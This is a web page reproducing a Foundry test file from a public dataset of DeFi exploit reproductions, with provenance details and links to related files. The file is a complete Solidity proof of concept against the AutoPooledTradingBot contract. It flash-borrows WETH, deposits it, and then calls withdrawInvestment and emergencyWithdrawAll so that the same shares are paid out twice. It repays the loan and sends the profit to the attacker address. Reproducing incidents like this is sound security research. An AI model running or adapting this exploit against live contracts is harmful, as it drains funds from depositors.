Public reproduction file
src/test/2025-08/AutoPooledTradingBot_exp.sol
Public reproduction file for dataset entry AutoPooledTradingBot.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 0.15198 ETH7// Attacker : 0x8A6ce2d90EE1199F815628970a90dF73e12B50578// Attack Contract : 0xe033880fed8A54C1F37230cC3b25aCFB1c9d41859// Vulnerable Contract : 0x879e993e2E37DE3b47F38C13858e1f337D51448B10// Attack Tx : https://etherscan.io/tx/0x9ec3fb4ac39e179c6a4f5323f2f757faca7b71718fc9f752153387c9204cee3d11//12// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x879e993e2E37DE3b47F38C13858e1f337D51448B#code14//15// @Analysis16// Twitter Guy : https://t.me/defimon_alerts/167617//18// Attack summary: The attacker deposited flash-borrowed ETH, withdrew 90% through withdrawInvestment, then19// emergency-withdrew the still-existing shares from the same deposit.20// Root cause: withdrawInvestment pays from totalInvested but does not burn shares or reduce pool accounting,21// leaving emergencyWithdrawAll able to pay the same position again.23address constant ATTACKER = 0x8A6ce2d90EE1199F815628970a90dF73e12B5057;24address constant VULNERABLE_CONTRACT = 0x879e993e2E37DE3b47F38C13858e1f337D51448B;25address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;26address constant WETH_SPX_PAIR = 0x52c77b0CB827aFbAD022E6d6CAF2C44452eDbc39;28interface IWETH {29 function deposit() external payable;30 function withdraw(31 uint256 wad32 ) external;33 function transfer(34 address to,35 uint256 value36 ) external returns (bool);37}39interface IUniswapV2Pair {40 function swap(41 uint256 amount0Out,42 uint256 amount1Out,43 address to,44 bytes calldata data45 ) external;46}48interface IUniswapV2Callee {49 function uniswapV2Call(50 address sender,51 uint256 amount0,52 uint256 amount1,53 bytes calldata data54 ) external;55}57interface IAutoPooledTradingBot {58 function deposit(59 address referrer60 ) external payable;61 function withdrawInvestment(62 uint256 minExpected63 ) external;64 function emergencyWithdrawAll() external;65}67contract ContractTest is BaseTestWithBalanceLog {68 function setUp() public {69 uint256 forkBlock = 23_160_803;70 vm.createSelectFork("mainnet", forkBlock);72 vm.label(ATTACKER, "Attacker");73 vm.label(VULNERABLE_CONTRACT, "AutoPooledTradingBot");74 vm.label(WETH, "WETH");75 vm.label(WETH_SPX_PAIR, "WETH-SPX Pair");76 }78 function testExploit() public {79 vm.deal(ATTACKER, 0);80 uint256 attackerEthBefore = ATTACKER.balance;82 // step 1: use the same no-upfront-capital shape as the trace by borrowing WETH from the pair.83 vm.startPrank(ATTACKER);84 FlashSwapAttacker flashSwapAttacker = new FlashSwapAttacker(ATTACKER);85 vm.label(address(flashSwapAttacker), "Local Flash Swap Attacker");86 flashSwapAttacker.execute();87 vm.stopPrank();89 // step 2: assert the doubled-withdrawal path produces net ETH after repaying the pair.90 uint256 attackerEthAfter = ATTACKER.balance;91 emit log_named_decimal_uint("Attacker ETH profit", attackerEthAfter - attackerEthBefore, 18);92 assertGt(attackerEthAfter - attackerEthBefore, 0.15 ether);93 }94}96contract FlashSwapAttacker is IUniswapV2Callee {97 address private immutable profitReceiver;99 constructor(100 address profitReceiver_101 ) {102 profitReceiver = profitReceiver_;103 }105 function execute() external {106 uint256 borrowAmount = 0.192 ether;107 IUniswapV2Pair(WETH_SPX_PAIR).swap(borrowAmount, 0, address(this), abi.encode(borrowAmount));108 }110 function uniswapV2Call(111 address sender,112 uint256 amount0,113 uint256,114 bytes calldata115 ) external override {116 require(msg.sender == WETH_SPX_PAIR, "unexpected pair");117 require(sender == address(this), "unexpected sender");119 // step 3: unwrap the flash-borrowed WETH and create a fresh victim position.120 IWETH(WETH).withdraw(amount0);121 IAutoPooledTradingBot(VULNERABLE_CONTRACT).deposit{value: amount0}(address(0));123 // step 4: withdrawInvestment pays from totalInvested but leaves shares in place.124 IAutoPooledTradingBot(VULNERABLE_CONTRACT).withdrawInvestment(0);126 // step 5: emergencyWithdrawAll pays the same still-existing shares again.127 IAutoPooledTradingBot(VULNERABLE_CONTRACT).emergencyWithdrawAll();129 // step 6: repay the WETH flash swap, then forward the remaining ETH profit.130 uint256 repayAmount = (amount0 * 1000) / 997 + 1;131 IWETH(WETH).deposit{value: repayAmount}();132 IWETH(WETH).transfer(WETH_SPX_PAIR, repayAmount);134 (bool sent,) = payable(profitReceiver).call{value: address(this).balance}("");135 require(sent, "profit transfer failed");136 }138 receive() external payable {}139}Analysis
Dataset entry
Public Foundry test for “AutoPooledTradingBot” (2025-08-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
- src/test/2025-08/WXC_Token_exp.solSame month in the dataset · 76 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8a6ce2d90ee1199f815628970a90df73e12b5057
- Attack Contract
0xe033880fed8a54c1f37230cc3b25acfb1c9d4185
- Vulnerable Contract
0x879e993e2e37de3b47f38c13858e1f337d51448b
- Attack Tx
0x9ec3fb4ac39e179c6a4f5323f2f757faca7b71718fc9f752153387c9204cee3d
File record
- Name
- AutoPooledTradingBot
- Path
- src/test/2025-08/AutoPooledTradingBot_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- dad9e16c905bae9b705d6471e3c8f3ed82c99081
- Language
- Solidity
- Size
- 140 lines
- Date
- 2025-08-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/AutoPooledTradingBot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dad9e16c905bae9b705d6471e3c8f3ed82c99081, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.